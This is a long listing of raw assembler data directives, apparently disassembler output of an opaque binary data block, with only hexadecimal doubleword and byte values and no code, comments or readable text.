		dd 0E9207F09h, 3C3337Dh, 0E1200B19h, 948331CFh,	0F22F4310h
		dd 67E91A06h, 58A3080Ah, 0C3F8B898h, 65E38353h,	20270920h
		dd 43242883h, 0F8FBB4CDh, 457DE81Fh, 8858F689h,	0D1E13664h
		dd 9202A09Fh, 8CBD549Dh, 340782Eh, 0CFB9C93Ah, 1708283Eh
		dd 0BA9F251Dh, 0C340BEB1h, 7C099207h, 1CA3C804h, 7B13889Fh
		dd 89E31893h, 0B8504105h, 84931994h, 67DBFEE0h,	1039DF1Ch
		dd 1D031640h, 8CDC247Dh, 399162EBh, 43070E45h, 0C243EDBh
		dd 835B6FC8h, 54A1A539h, 48705B0Bh, 5EDC1811h, 80D78539h
		dd 0B96580E3h, 746C1708h, 22901157h, 45E50CD4h,	0AD1578BCh
		dd 882A9F74h, 0C5857F52h, 0EC0A95F2h, 0E309D043h, 2960A4C3h
		dd 0CB2A2CA0h, 0B8827609h, 88BE1983h, 0A22F613Ah, 65257EDCh
		dd 7C1940A4h, 9D115D88h, 50A4F79h, 0BC0ACE8h, 828FD9Ch
		dd 30F8F888h, 8B1DD110h, 0A364337Ch, 0D8135578h, 881D6B43h
		dd 827412h, 0C0847B03h,	5F129485h, 2845BA40h, 5094A937h
		dd 2843B4C7h, 24B8A6B8h, 38B097CAh, 0A34A1A4h, 1BA0DF8Ch
		dd 75A128BBh, 0D07F01CFh, 446A3893h, 83F13DB0h,	8156384h
		dd 0B24830C3h, 0EE956362h, 84A51991h, 886F58B4h, 8C276308h
		dd 0B988B3FAh, 8308BD67h, 5858C2F9h, 782F4F5Ch,	851BB98Ch
		dd 0B2692BC6h, 0A1C30342h, 20580920h, 23103043h, 2D28BCE7h
		dd 6F6310B8h, 0BC032796h, 2DC70CDCh, 0E569C07Bh, 40B20A24h
		dd 2348D518h, 190090EAh, 8B9B683h, 0E0243DFEh, 62BE57E5h
		dd 0EC551B9h, 0ADB54301h, 0C4368447h, 0F3609C49h, 48EE36D8h
		dd 1960BF49h, 0AC38A5DDh, 34E3E041h, 6A06A05Fh,	414F2C89h
		dd 2BF00520h, 0E1883323h, 0C2C8E2B0h, 79EF8C2Fh, 827CADCBh
		dd 52B06B2Ah, 0B6C74522h, 8DBC0F70h, 3FD0274Ch,	0EC9CA8A5h
		dd 6CAD07ECh, 155B1002h, 0C40C463Eh, 0F7C8E338h, 2FD281D8h
		dd 0F448CAC3h, 88B051ABh, 0CC144744h, 9480662Dh, 0FC831008h
		dd 88AE26B6h, 3FFC78Bh,	20F391A8h, 2312B408h, 0E805F450h
		dd 3CD6FD0Bh, 0EEE31008h, 0F16410F0h, 4DA8612h,	0C1E56CC8h
		dd 94EE2924h, 19B19010h, 6F11D643h, 0E2C4C300h,	83B38CCh
		dd 18994DA3h, 23086E31h, 0F0D461C8h, 84981D04h,	0A04C22F1h
		dd 84434D68h, 94A28524h, 0A3F0C61Bh, 0A3101822h, 0AF43E8FAh
		dd 0E4211C94h, 3183B150h, 25598863h, 0A02301A6h, 0E8F9A021h
		dd 0C02F8204h, 0D2FF8441h, 94059805h, 9C4B4AC3h, 85C80F7Bh
		dd 30C308E9h, 0E3D81259h, 35087CF6h, 0FA77C71Fh, 0EC0526A0h
		dd 7CCD9280h, 0FA081208h, 3EBFE836h, 0ED881B2Ah, 0F502A45Fh
		dd 0C0E3D9D8h, 0DEEB4503h, 94CC5770h, 0A2E83CC1h, 0A5398508h
		dd 940E995Dh, 0B8507665h, 7C032884h, 0B2C1CB47h, 9EBB1D7Dh
		dd 7C268551h, 0E3088898h, 8380AFFAh, 21FE27B9h,	23E54110h
		dd 4345C322h, 0BA04841Bh, 45B6A646h, 0A005D3C5h, 0FC4ABBE3h
		dd 5AF888FAh, 60322282h, 797F2533h, 77087661h, 301D814Dh
		dd 0E37239Ch, 0BE0960AAh, 0FA11047Ch, 4CC0BC02h, 0CD2E5180h
		dd 0D1584A99h, 3603011Ah, 9410CC74h, 683F1B0Ch,	230222A2h
		dd 8A4BEFFh, 0EF39B5FFh, 574422BEh, 60C0A0CEh, 0BFB7E912h
		dd 0D40C4580h, 83A8B8A1h, 737B6618h, 0C96DA571h, 183ECE39h
		dd 0A6814E08h, 6CC54566h, 4611826Ch, 0E513A449h, 33C4B09h
		dd 1EC05CC7h, 4053498Eh, 9928C5A5h, 4F6290CDh, 26DE308h
		dd 1853BD83h, 0EA27C4C0h, 25A840FDh, 2C4CD959h,	0A96006Ch
		dd 0E1C8204Bh, 0B0240760h, 89864F8h, 350810Ah, 6CB82489h
		dd 0B2C308CFh, 0E4430402h, 485C50A0h, 4025C4DEh, 8416406h
		dd 9BB7F5F1h, 0E108D630h, 2897FEFFh, 83A40247h,	4C70F41Fh
		dd 32C8144Ch, 9340952h,	0C21C6C07h, 0BC835BC3h,	0F043B943h
		dd 3C8B0A4h, 0EF1D2FF7h, 96E5D483h, 0AFA982Eh, 8C56D0Ch
		dd 0B5D63CADh, 5BF2D00h, 47A90DA5h, 3C2BCF00h, 6B8FA262h
		dd 6EB80040h, 0C9A03A43h, 0F7012D29h, 0A50641CFh, 1C5BFE4Dh
		dd 33BC9302h, 0EF072823h, 0A00D1DB8h, 30804D46h, 2A0309A1h
		dd 31880F81h, 0E178AA8Dh
		dd 0EE053136h, 88DD2FA1h, 3AC5CDD8h, 8A811C53h,	11A7B4ABh
		dd 685BC54Fh, 1D183A3Eh, 716F31E0h, 0CA4D68C5h,	900F686Ch
		dd 39DF6F8Ah, 0AD0AA888h, 19D86CF3h, 40CEEAFDh,	1863AFFCh
		dd 0A09CBD39h, 0CC09C40Dh, 4D08CE40h, 40AD4B40h, 361EED05h
		dd 0F415A4F0h, 0E89BF384h, 80FB3758h, 95FFA7CFh, 0F088C168h
		dd 62A12678h, 8DEF3910h, 887CC225h, 0C94618ABh,	0CF0F397Bh
		dd 0C5D34D80h, 7CC10D08h, 518D88Ch, 2F4165EFh, 2B6890F9h
		dd 6074BF8Dh, 0DB757F19h, 0AD4FA8A8h, 7A389966h, 9AED2008h
		dd 0FE604D20h, 630D809Dh, 0ED315C90h, 9ACD089Bh, 4744AD01h
		dd 48E385B4h, 6D0CF8BCh, 500D0842h, 548DC056h, 0C8BDC4B2h
		dd 7791AC09h, 28566A22h, 1369C160h, 6F119D32h, 0DF88A24h
		dd 90F8B82Ch, 2F5B22ACh, 38CE58F8h, 0F0B4F5EDh,	44EB42C9h
		dd 9B37AFE1h, 0A7197080h, 1848EF20h, 0D14D08C6h, 0F0415092h
		dd 686CEDE3h, 0DA7E0870h, 0CF0CF269h, 49CD609Eh, 7FF13CFBh
		dd 0F274F4ECh, 39956789h, 0F4378854h, 99C58608h, 0A2E18741h
		dd 5FFC8D01h, 0FE220498h, 0F46C450h, 0E2ED6001h, 0EC0898BEh
		dd 94B5E531h, 0C3A8E82Fh, 0EE62F97Fh, 82144F31h, 0BE2EEDD5h
		dd 0BCC0C80h, 6F39956Ch, 0F3B51320h, 0F76D4C20h, 1154D01h
		dd 8D01440Dh, 9EAD0168h, 84BE2712h, 23DDC0Ah, 19BEB465h
		dd 7068A6E0h, 7EE98C21h, 8983A024h, 259D125Fh, 27987C27h
		dd 48337308h, 0F5AF0A2Dh, 736DD87Ch, 0D49F9329h, 0E05E8C83h
		dd 0EF4118DFh, 0AD2C88A7h, 0C0F9A0CAh, 0AB2830FAh, 85C807BFh
		dd 34DD3678h, 8F4C9113h, 0E450898Dh, 38300395h,	96081881h
		dd 0EB18F0B8h, 62DAB1Bh, 0B603E208h, 3EB8C27Ch,	349179E0h
		dd 2322E2EFh, 34D4C0AEh, 315C90B1h, 8D8A325h, 2F188DA2h
		dd 0DBDD70CCh, 78C24DD0h, 63F0F8DAh, 0D4D510CDh, 3204ADE1h
		dd 60BFA0C4h, 2078A684h, 20A3770Fh, 2FADF008h, 908718AEh
		dd 8DF306Dh, 1BB45A14h,	0C2A024EDh, 60D0397h, 9F0A0918h
		dd 0CEAC120h, 0E7D28DABh, 0E6642C98h, 0D037D08h, 0D018E92Ah
		dd 5228D279h, 67CDF8E5h, 48EEE9B6h, 8D088718h, 10CE65B7h
		dd 2D8006DEh, 54F8F8F6h, 78444382h, 0F3281F08h,	7D0392A4h
		dd 0EC8012Ch, 412F1CF6h, 52CBC93Fh, 848298FCh, 100D8CCDh
		dd 925304D2h, 84A42138h, 69191F61h, 84526E09h, 0E94D03F0h
		dd 0F720087Ch, 8FC444E7h, 242D88A0h, 0C4174D80h, 482ADF0h
		dd 0CD06FB8Dh, 805009A1h, 59404DFCh, 6D5B400Dh,	2D08B862h
		dd 0A8804F15h, 8B082300h, 0F01B4F8Ch, 0F8DB54EDh, 9DE1CC22h
		dd 3A418DD0h, 0C888B021h, 0D590100Dh, 109A2D10h, 8D142B4Dh
		dd 0D19E85Ah, 132DC9D6h, 54C0784Dh, 9115D85Eh, 0F78E589Ch
		dd 546F198Eh, 0A1CEA8ACh, 1412F4B1h, 0C011802Bh, 848FC28Ah
		dd 27A486C5h, 0ED8D2850h, 91C7FCB0h, 0E25E5824h, 0AFEA4084h
		dd 761CF648h, 0C7E84D54h, 0D062CCA5h, 0CF24989Ch, 303898AFh
		dd 8D088CADh, 10CABB3Ch, 143EC47Fh, 31A4D189h, 0CE0D08D3h
		dd 14E1B453h, 0B4C0AD08h, 4AC5ED12h, 56B8C994h,	44F69E29h
		dd 97CEEF89h, 888A102Ch, 0E0489FEAh, 1494FB48h,	0ACA8C80Dh
		dd 12F747CEh, 0CC4A902Fh, 5656A411h, 4F144458h,	5276985Ah
		dd 76B18012h, 486F1CF3h, 0ED125C15h, 12C04A38h,	0AEB5688h
		dd 46ED8F12h, 48E549A0h, 29107249h, 7E598CCEh, 3E54C52h
		dd 4811A1AFh, 6B26AE6Dh, 94D7BB9Ch, 747D83C1h, 0CF498C2Fh
		dd 8063918Eh, 8C5996Dh,	987CE0CDh, 23580909h, 142EE694h
		dd 5FDF81D9h, 4B880590h, 6831A74Eh, 845FE60Fh, 971B7062h
		dd 0E12F1C98h, 70B178ADh, 4F1CA43Eh, 7B4170A5h,	1C487880h
		dd 3CB55C6Fh, 4BF6D12h,	0D290EDC8h, 0A4A443FCh,	0B08D0E1Ch
		dd 4A9D0D16h, 568CF85Ch, 0A8A5FE23h, 0D70C31Ch,	8189428h
		dd 0B668E8B3h, 0EA08C4EBh, 0F90082DDh, 834368BEh, 0AF24E420h
		dd 3597B05Fh, 26684448h, 18A319B4h, 0EDE0893Dh,	76F8410Eh
		dd 4827D197h, 8D0A8C40h, 21FBE012h, 81B116E0h, 0AD013CCFh
		dd 0FFD42556h, 405150EEh, 5F0FF9A8h, 33D8629Ch,	0EF2C9895h
		dd 0CED9C90Bh, 6B0D4482h, 102A869h, 7190C22Dh, 0ED0D084Dh
		dd 0E0011BD1h, 65DA0AA1h, 0AD089C78h, 166D2B60h, 8EE8ECB4h
		dd 550F0A85h, 25ED0CE0h, 0B0A0FA81h, 0ACA9504Dh, 0ED08895Bh
		dd 0A1E0A470h, 9F108D04h, 43804070h, 522F0C85h,	0F9644D70h
		dd 0AD04CB09h, 268D0504h, 814BFC91h, 0C82D088Ch, 9C6DAE0h
		dd 6530B071h, 0D39209AEh, 6D45C84h, 6210B68Dh, 57ED0849h
		dd 885F88E9h, 86B6D08h,	0D046ACDh, 508A29Ch, 9E66793Eh
		dd 20082528h, 0ED54588Dh, 8A624DCCh, 2D16D08h, 8D01890Dh
		dd 9A02E7C8h, 0CBC0B0Bh, 0C9E93840h, 0C4252208h, 0AD44D236h
		dd 343E6869h, 0F4A01B70h, 8DFA2EDh, 2D103FD0h, 968D114Ah
		dd 0D193020h, 6420D87Bh, 0DB2C02D2h, 8493F104h,	0DD1120C4h
		dd 24966D20h, 9120744Dh, 0DCE32E97h, 3092999h, 8C49006h
		dd 0ED04B08Dh, 5A921F3Ah, 20F0EC83h, 7CFC8809h,	91FD8D80h
		dd 0A0E59B8h, 1D5E4F12h, 0F4289400h, 48B7487Ah,	0E4D8CD14h
		dd 0D4E65474h, 4AF0BA81h, 0A4D80607h, 0A86288CEh, 0A4534D08h
		dd 2D0427A4h, 0FC6D04C0h, 0E690C848h, 29E24D19h, 0FEAD03B7h
		dd 39926441h, 0CA0D0598h, 0CB17A01Fh, 11CE684Ch, 3C6D80E5h
		dd 0AC41BD89h, 1032FECDh, 6F5068B7h, 5D8C925Ch,	69265418h
		dd 52CD04E8h, 264209BAh, 31099670h, 85B8E464h, 50EF02E6h
		dd 81CB7478h, 10C199F9h, 4243E09h, 581899FDh, 268EA956h
		dd 8CFC1C8Fh, 0B1908D68h, 0F261D892h, 0AD576DA8h, 0A83CC025h
		dd 98DD2A18h, 0BD81E70Fh, 426D088Ch, 2140CDB0h,	8584BEDh
		dd 0D09EBB8h, 903095C2h, 0C17C833h, 2A8920AFh, 0F3AD08C4h
		dd 1625DC93h, 2B1B2D60h, 0D31E3FCCh, 0E2CF182Ch, 945C4DF8h
		dd 0CFCB13A4h, 0D4B18014h, 80FD69F3h, 1093E06Fh, 74E892E0h
		dd 1531DF87h, 0AEB75C13h, 0B4736665h, 50A714D4h, 70F17467h
		dd 0EF01CD99h, 0C11027EAh, 0B3C7D244h, 0E50F318Ah, 0C9F6D868h
		dd 0CC403BEAh, 50E4532Fh, 33A856B0h, 27BF5A20h,	0AC9F18CFh
		dd 0D0754F0Ch, 6909C050h, 0BB0B57A9h, 9D1D78F6h, 6D00DA1Dh
		dd 5D93A7C2h, 8A28C25Ah, 4C0A863h, 363FF11Ch, 0D252804Eh
		dd 70C443D8h, 2BBA0737h, 70476F16h, 3A4CEBCh, 4D6BDF00h
		dd 0FCEA80B7h, 3126070Dh, 0F0C9778Dh, 0B5D3D66Dh, 15E1B901h
		dd 0A6CF204Ah, 4BF4A040h, 0E01900C9h, 2AAFDB49h, 0B11EE113h
		dd 7280481Dh, 70F9E5B5h, 5AE49Fh, 0D1857129h, 9B348E96h
		dd 941E6B07h, 0CA57D369h, 0D81BAF43h, 342D9B9h,	1D4FF2Bh
		dd 46C303EEh, 8E8100A7h, 4E01E8FDh, 20496450h, 29D47CDCh
		dd 0EAFF4D0h, 5AD512EBh, 0B9767220h, 3300918Fh,	5D612D86h
		dd 1E118877h, 0B9092FE4h, 0A07A8C01h, 0C883A90Ah, 0E0070B90h
		dd 2DE5851Ch, 337C41D1h, 0E25F0D30h, 0E88A0037h, 10A15A9Ah
		dd 6404D7F8h, 85B425E1h, 2BD7880h, 58B0004Bh, 0CEBFC83Dh
		dd 89014956h, 0A13606A8h, 29DCEC38h, 0AC2C004Ch, 0FFC14072h
		dd 7400F4B0h, 0CAFEF08Eh, 6A952h, 82F3C0D2h, 83363FEAh
		dd 0E8625E00h, 7385F830h, 81804E6h, 90A929B5h, 772FD00Ch
		dd 105E48h, 0D5900FFBh,	0BC860Bh, 0BA486BA0h, 0B2D99AB8h
		dd 0CE05AA00h, 0EACB7972h, 54D21E8Fh, 5802408Eh, 17E1B757h
		dd 2F75A074h, 323BCC00h
		dd 8F665501h, 54A3002Ch, 5EC0FA94h, 0D50082BDh,	0B1CAC461h
		dd 0F6D998h, 311A6EDEh,	31891A8h, 0D3320407h, 0AC4007C7h
		dd 0EB3A6Fh, 2B5B2DCFh,	0DE6E0885h, 0DD0EAD0Fh,	0A7894EFAh
		dd 0B2802ED9h, 69C7D7h,	0F566F14h, 371ACA54h, 83CE5500h
		dd 0A9996A8Fh, 81EF0094h, 221128D0h, 0D300D531h, 0F7EA472Bh
		dd 89C642h, 97569EAFh, 0C1E537B7h, 1C921B00h, 0E70DA1D3h
		dd 81ED0021h, 2B2AE27Bh, 2C0241DBh, 0C801D589h,	0D9ACA3CBh
		dd 5CC807FEh, 0D00ADAEFh, 8A61406Eh, 1C0020ECh,	71227241h
		dd 7D77C067h, 56D801E5h, 29947BC7h, 43B050D1h, 890001EBh
		dd 0AA767073h, 48531184h, 0CF0F88A1h, 820FDC9Ah, 76B24600h
		dd 5B00A6F6h, 5C9099BFh, 0FCF930D4h, 639800E7h,	0D9C6E9C5h
		dd 0B400A661h, 0B858108Fh, 0CED49Eh, 0C0660F16h, 12F7ED54h
		dd 0C65D2701h, 6C2EBCC4h, 3DC2BEDCh, 4B81051Fh,	0ACF60FC1h
		dd 16B6E436h, 1701C07Fh, 0ABE8DC7Fh, 0D5F46201h, 0C3E01F1h
		dd 169953B1h, 0E031E4BEh, 9F001090h, 5F7E28C7h,	1C405DBh
		dd 230BF52Ch, 0C551FF99h, 47E6F855h, 0C4804650h, 0B1950718h
		dd 590FF0h, 3FFE4564h, 0AF5CEF78h, 0C20EE100h, 9F30A8Bh
		dd 0FA1D0084h, 0D5A99B6Dh, 0E60E6E38h, 80181611h, 9112B9DAh
		dd 2B3E003Ch, 0B0CF5B8Fh, 0FB75CB73h, 6230BC00h, 55072601h
		dd 3AAF0050h, 0A02A1834h, 0DD1385F7h, 0FB0BC4h,	51EC44F0h
		dd 2E00B9E7h, 0F4925DE5h, 38F5CD6h, 0AA65DBF3h,	0BCA06149h
		dd 7C00E654h, 0F7C516B0h, 0A0080E44h, 15FCDB4h,	551917A1h
		dd 303D85BEh, 1B0B90E4h, 0A0D8489Fh, 1620473Eh,	7B300A1h
		dd 7A6D5B4Ch, 727A9F5Ah, 0D11D950Ah, 0F600B074h, 0BC915FE4h
		dd 9B220005h, 68333EC2h, 0BE4277Bh, 0A076C10Fh,	0E150E04Dh
		dd 9D4EEE4h, 35CC44B8h,	50EC3487h, 55945A5h, 28764B02h
		dd 60BCDE90h, 7B5093C8h, 0FC4600D6h, 1A27EE61h,	320087AEh
		dd 882BDF7Bh, 7234E2Fh,	423BD96Bh, 3E561048h, 8F003F38h
		dd 469B6CD6h, 347F20h, 45A097CAh, 83EF5BE5h, 6A27A306h
		dd 0EA64F30h, 0B30F7310h, 7D1FE5h, 0A198D1F8h, 6D00690Eh
		dd 0B4A8ED4Dh, 0D8EEF5h, 0D049F432h, 5674BEC9h,	4ACE521Fh
		dd 0AF31E207h, 72718671h, 0AE5E80C3h, 0ECE400F3h, 0D16C407Bh
		dd 0E901939Ah, 0DE969B52h, 6030CF5Eh, 0B04602E6h, 0D2AFB3C8h
		dd 0C59F08C0h, 0CA60990Eh, 35005D3Fh, 78EC0C3Dh, 0F610F59h
		dd 63A07ECDh, 0BDB914F4h, 49AB8500h, 953E71D9h,	90CB00F0h
		dd 8260113Bh, 5A00F79Ah, 0B73C0F19h, 0DFD4BFh, 0CF80EA44h
		dd 0CDEEE87Dh, 0A00A7300h, 3C5941ECh, 785D0130h, 0AEA1C68Fh
		dd 82C8DC14h, 9163DE00h, 95C125FCh, 0A55B00E3h,	0F1D6F64Ah
		dd 56000803h, 4EDDDABDh, 0A47CDCCh, 0C2C7B685h,	4B581DECh
		dd 0EC001EDCh, 0A1F63850h, 0C5C5301h, 95E2C5D2h, 142FFCCh
		dd 0F99B89E0h, 0C851126Eh, 8B0ECA41h, 7468DCB0h, 5D2300CCh
		dd 37808EA9h, 1C2F0043h, 68CF7866h, 0C800E244h,	0A2DE028h
		dd 1814722Ah, 109B4733h, 0E01ED12h, 711C0960h, 0CEE0EA45h
		dd 6B4A58E0h, 87724h, 0D10A218Eh, 0A700C4F1h, 0FA1B10E8h
		dd 3AE4CA5h, 0E99F65B5h, 49A0E01Fh, 0C00739E7h,	1AC6EB21h
		dd 0C8134CB3h, 137C292h, 0A0A26E1Ch, 21B3488Eh,	0EC0DD4FCh
		dd 80F74F3Ch, 0F098305Fh, 15283CDh, 0FBC6B078h,	0F8B74604h
		dd 911D1705h, 3700447Bh, 858850C1h, 0E7905C3h, 0D1358DECh
		dd 0E8951BACh, 4601F3EFh, 29D738F2h, 1ED4ADC9h,	0B63000E5h
		dd 0DB1625EAh, 0F01410DDh, 7BA04089h, 0AE8138h,	37E0E6C1h
		dd 2AD9BDh, 0B2697698h,	0D6AFB63Ah, 0FB001EECh,	3F678D77h
		dd 3CC7DF51h, 2980AC20h, 85180D80h, 0BE007A61h,	62DABFE4h
		dd 2C8C45h, 91FFA4FDh, 199389B3h, 531FAB7Ch, 4CEC81EBh
		dd 0E1DFB100h, 0C0F0A1BAh, 61F62780h, 2E000ADBh, 0D4969111h
		dd 64443Ah, 37B4F27Eh, 48FB4DB2h, 0E3E53B02h
		db 40h,	0B0h, 0E6h
		db 0EFh
		dd 26B681DCh, 30E7F311h, 8077CF18h, 0B4D31E01h,	6ED01D16h
		dd 1A8B2FE9h, 9820A01Fh, 2A436B26h, 0ECB0700Eh,	7D1769FDh
		dd 0E4C9A083h, 9EEED3C1h, 2000C111h, 0F02AD7B3h, 448B002Fh
		dd 5FD3781h, 0B6012C40h, 5562B78Fh, 747289D6h, 0E4B1F403h
		dd 44A1A8DEh, 0F3EE80D7h, 5F92A181h, 0D3F018C8h, 528CE208h
		dd 0E1804C00h, 8B449D12h, 3E8104F4h, 0A0618311h, 590062A8h
		dd 0E8DEEBB0h, 7F06791h, 853DB608h, 9D2601Fh, 15002556h
		dd 78F48C3Fh, 188C37Eh,	28E05E54h, 80AA7D60h, 0B6E84A99h
		dd 7C010A5Ah, 0D4765452h, 5DB00ECDh, 0D6E68Eh, 0AE0E3B0Fh
		dd 381CEAC4h, 84FD163h,	980077C0h, 9AD992E2h, 0ED6B14CFh
		dd 4B0E94F0h, 4D013C7Ah, 0F00F4469h, 0D57C0EF9h, 261EFF0Fh
		dd 92772095h, 56FC9Ch, 0A8B42ABCh, 67C4E806h, 149D4Dh
		dd 0C236F227h, 0E52D5D9h, 0E399DC2Dh, 6249B3A3h, 0ED091096h
		dd 807C7DA1h, 3CC8C976h, 1DA7BBEh, 73618DB9h, 0A09267B5h
		dd 330A8E51h, 0A1E5A0E1h, 0F73C9D00h, 56FCBh, 0A984D194h
		dd 344DD007h, 74D68313h, 628901AEh, 2C572572h, 65CF0064h
		dd 5EAE390Dh, 0E84B94h,	0A015B70h, 260B38D8h, 80FAC054h
		dd 0E699587Eh, 0B8A8557Dh, 0DA0CE4h, 1F627EC7h,	0B73B25F7h
		dd 897C070Ch, 0E30615Bh, 0DC9D704h, 0B92A06C0h,	4D05BC6Ah
		dd 1492D619h, 0A9C8D890h, 415C0051h, 97793536h,	36981ED5h
		dd 7D3E5872h, 75B00080h, 9DCC087Ch, 0F80D07F9h,	8F09BA9Eh
		dd 0ECE5099Bh, 0AC350044h, 4F1ADB30h, 14D8002Ch, 81CF750Ch
		dd 28D9418Dh, 0C0605930h, 97380104h, 0D3846A91h, 1860852Eh
		dd 0F980DD34h, 0CED4328Dh, 3E807631h, 5BDA6CE7h, 1A4DB906h
		dd 401F28h, 9AE9A523h, 211B5CAEh, 18FA1831h, 7081A36Eh
		dd 76AB083Ch, 9AA980B9h, 20FF0F14h, 0A2F81E84h,	7308F31Bh
		dd 0EB79E105h, 0DC805F0Fh, 37351738h, 2089D630h, 6EA0A670h
		dd 8AEB6A03h, 0C9B59BF1h, 80BFA1FDh, 2E1C1500h,	9C8D82EFh
		dd 94665106h, 641DB6Dh,	5F041ACCh, 340120F9h, 6C816E41h
		dd 0E374DBh, 1E538FA1h,	7E3E2D36h, 5B541DEEh, 4118D09Ch
		dd 9E509516h, 0BCEE281Ch, 0CCAF38ACh, 0BAC1C3B1h, 2F63CC29h
		dd 0C280D103h, 30988A8Fh, 0CA215D08h, 140C6475h, 99A16558h
		dd 0B0E2031Ch, 0B66F0ABCh, 0CE2060C6h, 0CD00FC2h, 0A960BE7Bh
		dd 739FBD54h, 0C9663612h, 0AE901400h, 0A2E5B4h,	0B32E92AFh
		dd 0E101DD08h, 6152A30Fh, 8A4AC0BDh, 32AC3834h,	0C011C194h
		dd 0CE1804BCh, 52107C16h, 1B690062h, 33BB5815h,	380089C2h
		dd 0BF56EDE4h, 0F21F3BCEh, 12521BDFh, 27E42967h, 455EAD2h
		dd 0B4DD20D7h, 583801Ch, 0C89C5C88h, 1C43D351h,	672922A0h
		dd 43010300h, 0EC17975Dh, 75F500BFh, 51551F0Ch,	0B70084A3h
		dd 2CDCC2B9h, 0B86FE649h, 0D9892612h, 369303F7h, 9CE98531h
		dd 0A9FDDC92h, 56C17700h, 0E9EA421h, 6CD30024h,	39057B6Dh
		dd 4F00BD57h, 0E27DF83Ch, 0E556B5h, 0B450AEC7h,	903D518Ah
		dd 10EDBE00h, 5C58301Ch, 61A1036Fh, 5A9DF33Eh, 79F71000h
		dd 64C68902h, 7382000Dh, 7E90548Eh, 6001B72Dh, 3242EDAAh
		dd 0BC519F2Fh, 35CC87C5h, 0AD7080h, 39310E77h, 981978C6h
		dd 93CAEE00h, 0CB041D72h, 185B70B7h, 28763261h,	0AA0037C6h
		dd 0A936C530h, 8B447h, 0B1DD7E2Dh, 209EAC4Ah, 2B9DE700h
		dd 6D7357A3h, 0C4FD15EFh, 1303FC81h, 89320A2Ah,	0D16CD2C0h
		dd 2C110F00h, 0BEB91729h, 0FBD700E5h, 84C0A9D6h, 3500A2A3h
		dd 0E3E88E77h, 26F1982Fh, 17DD2C8h, 0B076FECFh,	0A9989E72h
		dd 0A0F85F81h, 2BE0079Eh, 7FD795Ah, 0E29894E8h,	3C202906h
		dd 0D688715Ch, 0D304A570h, 75A36317h, 0F37EB083h, 0DF100B18h
		dd 0F081D06Dh, 0C5FE0882h, 95C1808Bh, 796B9ED2h, 80C50027h
		dd 0AEDE0F71h, 4D007514h, 134CD04h, 24D549h, 12DA1799h
		dd 0EC1D0D97h, 0BD2DA200h, 0C42815F9h, 211A00FAh, 4DEB5C50h
		dd 0B500656Fh, 0CED863CDh, 385AAD98h, 181F69B4h, 8C0B40B9h
		dd 17D30F0h, 633C6D26h,	573E0600h, 3962CFh, 88707E2Bh
		dd 0C0B1F16Eh, 0AC2A7F18h, 0FC011D10h, 2013038Dh, 76CD9875h
		dd 3DD51803h, 0E0690E0Dh, 48080190h, 4400483Fh,	919F0CB9h
		dd 7578A812h, 0C350BFECh, 0A601C68Ch, 0B904F526h, 6FFC1E4Fh
		dd 6D2000F8h, 48BA06B4h, 92765E9Fh, 28525A00h, 33D5FEA8h
		dd 1E129078h, 0C06E8BF5h, 6904EDCFh, 6700E9E5h,	8DF2C847h
		dd 0F5D4AAh, 0FFFF42Eh,	7FB0ECDFh, 0BCA00C73h, 0A90023CCh
		dd 696279Ah, 0FBB5347h,	9B367E6h, 0BD3DFAEFh, 11001D3Ch
		dd 0F449F657h, 0AB4816B7h, 9AC001Bh, 5FC3F7B6h,	0D00B0019h
		dd 936113DBh, 0E450FC6Eh, 44011CB6h, 31680D09h,	8FE8E2A4h
		dd 136B002Ch, 1AFD6C1Bh, 0A60066D3h, 2393CD28h,	31408A4h
		dd 0B113EC83h, 769161B3h, 0C09440BDh, 5E3DC6EFh, 15DA808Ch
		dd 5A7DAC82h, 0FB432483h, 0C5040050h, 0FC1B6EF6h, 2F9610CEh
		dd 0CCAE8055h, 0A1D22CF9h, 9421F890h, 0B310D0h,	680B4B1Eh
		dd 0C252903Ah, 0D358B800h, 8A0A867Ah, 0DCC4283Fh, 0D53E00ECh
		dd 0C375E82Dh, 8D00BF1Dh, 0A9865589h, 0F6A59AEEh, 8AF4028Eh
		dd 0FF60238Bh, 89E3D090h, 0F63E2898h, 80A8255h,	60567CEDh
		dd 0C0BB4Dh, 7B1F498h, 0C6BCC968h, 46A9CB00h, 21A2E8D9h
		dd 0C1C0E744h, 0F8062617h, 0D86836Ch, 0A3D0A996h, 73048174h
		dd 379A56BFh, 7EF0C1C7h, 0EBD6F8h, 2BA7318Eh, 946E8A76h
		dd 0D4007478h, 3524663Fh, 27D0D17h, 461CBD02h, 42405F52h
		dd 0D7F26C77h, 0D51621FEh, 7202DF25h, 40AEE41Fh, 7EBB418h
		dd 7E0FF241h, 0C37AF05Dh, 0DA007FBEh, 2ED26011h, 155CB6Fh
		dd 0CEEF59DCh, 9DCFFC30h, 0A480777Eh, 3B0FBDF1h, 43210288h
		dd 5F6BFD48h, 0B8E41840h, 82B3B221h, 0D3E62624h, 0FFA10C60h
		dd 2F005F7Eh, 0DF233E88h, 12EAA61h, 6B9ACC59h, 0C8FB7282h
		dd 994CA0B1h, 0F05201C6h, 30E0336Eh, 0A97AE040h, 2F6600E6h
		dd 0AF03ECFCh, 2400614Ch, 0F2AAEEA4h, 1F09D055h, 80E25FDFh
		dd 0D8706EA8h, 3300D77Bh, 0E1568B6Bh, 2793B47h,	876ADA7Dh
		dd 75743Eh, 55316CF3h, 17120021h, 4AF758E4h, 0B109103Fh
		dd 0F2C62BEh, 80F5A010h, 52E38Ah, 8E03A993h, 2E734BFDh
		dd 5EE7A400h, 0A318C63Ah, 1C2A1407h, 7C00B8D9h,	0D6CAB9B2h
		dd 0F7009526h, 17F68B42h, 79D918A2h, 23781EAAh,	678000CDh
		dd 0CE85F9A6h, 0FE5C4600h, 45B91CA9h, 18F3000Eh, 0CC809BAAh
		dd 40826503h, 58B48A7Ch, 0AF041F1Eh, 822B96CAh,	5840676Dh
		dd 4D07F0C8h, 6312D369h, 457422B0h, 2187EFD8h, 0B0C579DFh
		dd 2CE357A4h, 90EC410Bh, 823802FFh, 6670E1BAh, 0EEDDC1C9h
		dd 383E37F4h, 0B0773A6Ch, 81B0218h, 0E64F5BCBh,	7DAD2A60h
		dd 4B1448h, 6F7CAB59h, 0D64A80h, 0A7CE9124h, 0D1714D8Ah
		dd 9B2CFC00h, 318D492Eh, 3B8B0193h, 0F94EA305h,	6608708Ah
		dd 2C1C1626h, 3CA15F40h, 2E98CF2Ah, 26A5A8A0h, 2000C5A7h
		dd 0A36213EBh, 79A845Dh, 2F82F5E5h, 8C400FBDh, 0B37EF603h
		dd 48EE5C00h, 0D3BFC15Eh, 8F132689h, 1CF00054h,	3F7F497Ch
